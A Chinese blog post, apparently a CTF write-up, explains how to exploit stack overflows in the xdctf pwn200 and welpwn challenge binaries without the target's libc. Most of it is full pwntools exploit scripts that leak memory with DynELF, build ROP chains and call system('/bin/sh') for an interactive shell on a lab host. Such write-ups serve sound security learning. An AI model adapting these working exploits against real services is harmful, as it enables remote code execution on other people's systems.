没有对方libc文件，如何getshell？xdctf12 pwn200 与 welpwn 的 writeup

原创

哒君 于 2019-07-26 18:29:31 发布 282 收藏

分类专栏： 学习日记 CTF

本文链接：https://blog.csdn.net/weixin_42151611/article/details/97401274

学习日记 同时被 2 个专栏收录

25 篇文章 0 订阅

订阅专栏

CTF

16 篇文章 0 订阅

订阅专栏

DynELF

> 文档：https://pwntools.readthedocs.io/en/stable/dynelf.html

简单来说，DynELF可以泄漏对方的libc信息

关于DynELF的原理，这个博客讲的很详细

> 博客：https://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html

---

题目1 xdctf12 pwn200

> GitHub

例行公事的事情就不说了

漏洞点很明显：

```
ssize_t sub_8048484()
{
  char buf; // [esp+1Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);
}
```

为了实现无libc，我使用了两台虚拟机

`Linux ubuntu 4.15.0-54-generic #58~16.04.1-Ubuntu SMP Mon Jun 24 13:21:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux`

`Linux kali 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-5kali1 (2019-06-20) x86_64 GNU/Linux`

其中，kali作为服务器，ubuntu作为攻击机

提前说明一下

leak函数的目的是能实现无限重复的任意地址读

且这是使用DynELF的先决条件

DynELF无法查找到 /bin/sh 字符串，所以需要将该字符串写到一个可写的地址段然后再使用

或者使用libcSearcher等这样的工具直接查找 /bin/sh 的地址

但是对于这道题加上我这个两台机子

我失败了

---

exp

```python
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
#io = process('./xdctf15 pwn200')
io = remote('192.168.95.146',10000)
length = 0x6c
elf = ELF('./xdctf15 pwn200')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
bin_sh = 0x804a100
main = 0x080484BE

def leak(address): #这个函数返回leak到的数据
    io.recv()
    payload = 'a'*0x6c+'aaaa'+p32(write_plt)+p32(main)+p32(1)+p32(address)+p32(4)
    io.send(payload)
    data = io.recv(4) #因为是32位，所以只需要取四字节
    log.info('%#x => %s' % (address, hex(u32((data or '')))))
    return data

def write(address,string):
    payload = 'a'*0x6c+'aaaa'+p32(read_plt)+p32(main)+p32(0)+p32(address)+p32(len(string))
    io.send(payload)
    io.send(string)

def getshell(address,bin_sh):
    payload = 'a'*0x6c+'aaaa'+p32(address)+p32(0)+p32(bin_sh)
    io.send(payload)
    io.interactive()
d = DynELF(leak,elf=elf)
sys_addr = d.lookup('system','libc')
libc_base = d.lookup(None,'libc')
print hex(sys_addr)

#gdb.attach(io,'b *0x080484BC')
#raw_input()
write(bin_sh,'/bin/sh\x00')
print hex(bin_sh)
getshell(sys_addr,bin_sh)
```

题目2 welpwn

> GitHub

例行公事就不说了

环境与上题一样

漏洞点同样很明显：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-400h]

  alarm(0xAu);
  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo((__int64)&buf);
  return 0;
}
```



```
1 int __fastcall echo(__int64 a1)
2 {
3   char s2[16]; // [rsp+10h] [rbp-10h]
4
5   for ( i = 0; *(_BYTE *)(i + a1); ++i )
6     s2[i] = *(_BYTE *)(i + a1);
7   s2[i] = 0;
8   if ( !strcmp("ROIS", s2) )
9   {
10    printf("RCTF{Welcome}", s2);
11    puts(" is not flag");
12  }
13  return printf("%s", s2);
14 }
```


64位的栈溢出一般都需要用到ROP了吧

但是这道题的ROP链不好构造，因为echo函数中，给s2赋值用的是循环，遇到0x00会停

而我们构造的数据链只要出现一个地址，必然会出现至少两个的0x00，因此需要寻找巧妙的方法

在单步调试的过程中，发现main函数中的buf在栈中的地址位于s2下方32个偏移处

因此有个方法就是，构造ROP链时，先用 `_libc_csu_init` 中pop四次的ROP链使rsp下移32个偏移

执行完这四次的pop以后，rsp就会位于buf的32个偏移处

此时就可以按照正常的ROP走了

这道题稍微有点绕

---

exp

```python
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
#io = process('./welpwn')
io = remote('192.168.95.146',10000)
elf = ELF('./welpwn')
length = 16
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
pop_rbx_rbp_r12_r13_r14_r15 = 0x40089A
pop4 = 0x40089C
mov_dx_si_di = 0x400880
pop_rdi = 0x4008a3
readn = 0x400805
main = 0x4007CD
bin_sh = 0x601100

io.recv()
def leak(address):
    payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
    payload +=p64(0)+p64(1)+p64(write_got)
    payload += p64(8)+p64(address)+p64(1)+p64(mov_dx_si_di)
    payload += p64(0)*7+p64(main)
    payload = payload.ljust(0x400,'C')
    io.send(payload)
    data = io.recv(8)
    io.recv()
    log.info("%#x => %s" %(address,hex(u64((data or '').ljust(8,'\x00')))))
    return data

def write(address,string):
    payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
    payload +=p64(0)+p64(1)+p64(read_got)
    payload += p64(len(string))+p64(address)+p64(0)+p64(mov_dx_si_di)
    payload += p64(0)*7+p64(main)
    payload = payload.ljust(0x400,'C')
    io.send(payload)
    io.send(string)

def getshell(address,bin_sh):
    payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
    payload +=p64(0)+p64(1)+p64(address)
    payload += p64(0)+p64(0)+p64(bin_sh)+p64(mov_dx_si_di)
    payload += p64(0)*7+p64(main)
    payload = payload.ljust(0x400,'C')
    io.send(payload)

#gdb.attach(io,'b *0x400814')
#raw_input()
d = DynELF(leak,elf=elf)
sys_addr = d.lookup('system','libc')
log.success("system address: "+hex(sys_addr))
#gdb.attach(io,'b *0x400793')
#raw_input()
write(bin_sh,'/bin/sh\x00'+p64(sys_addr))
getshell(bin_sh+8,bin_sh)
io.interactive()
```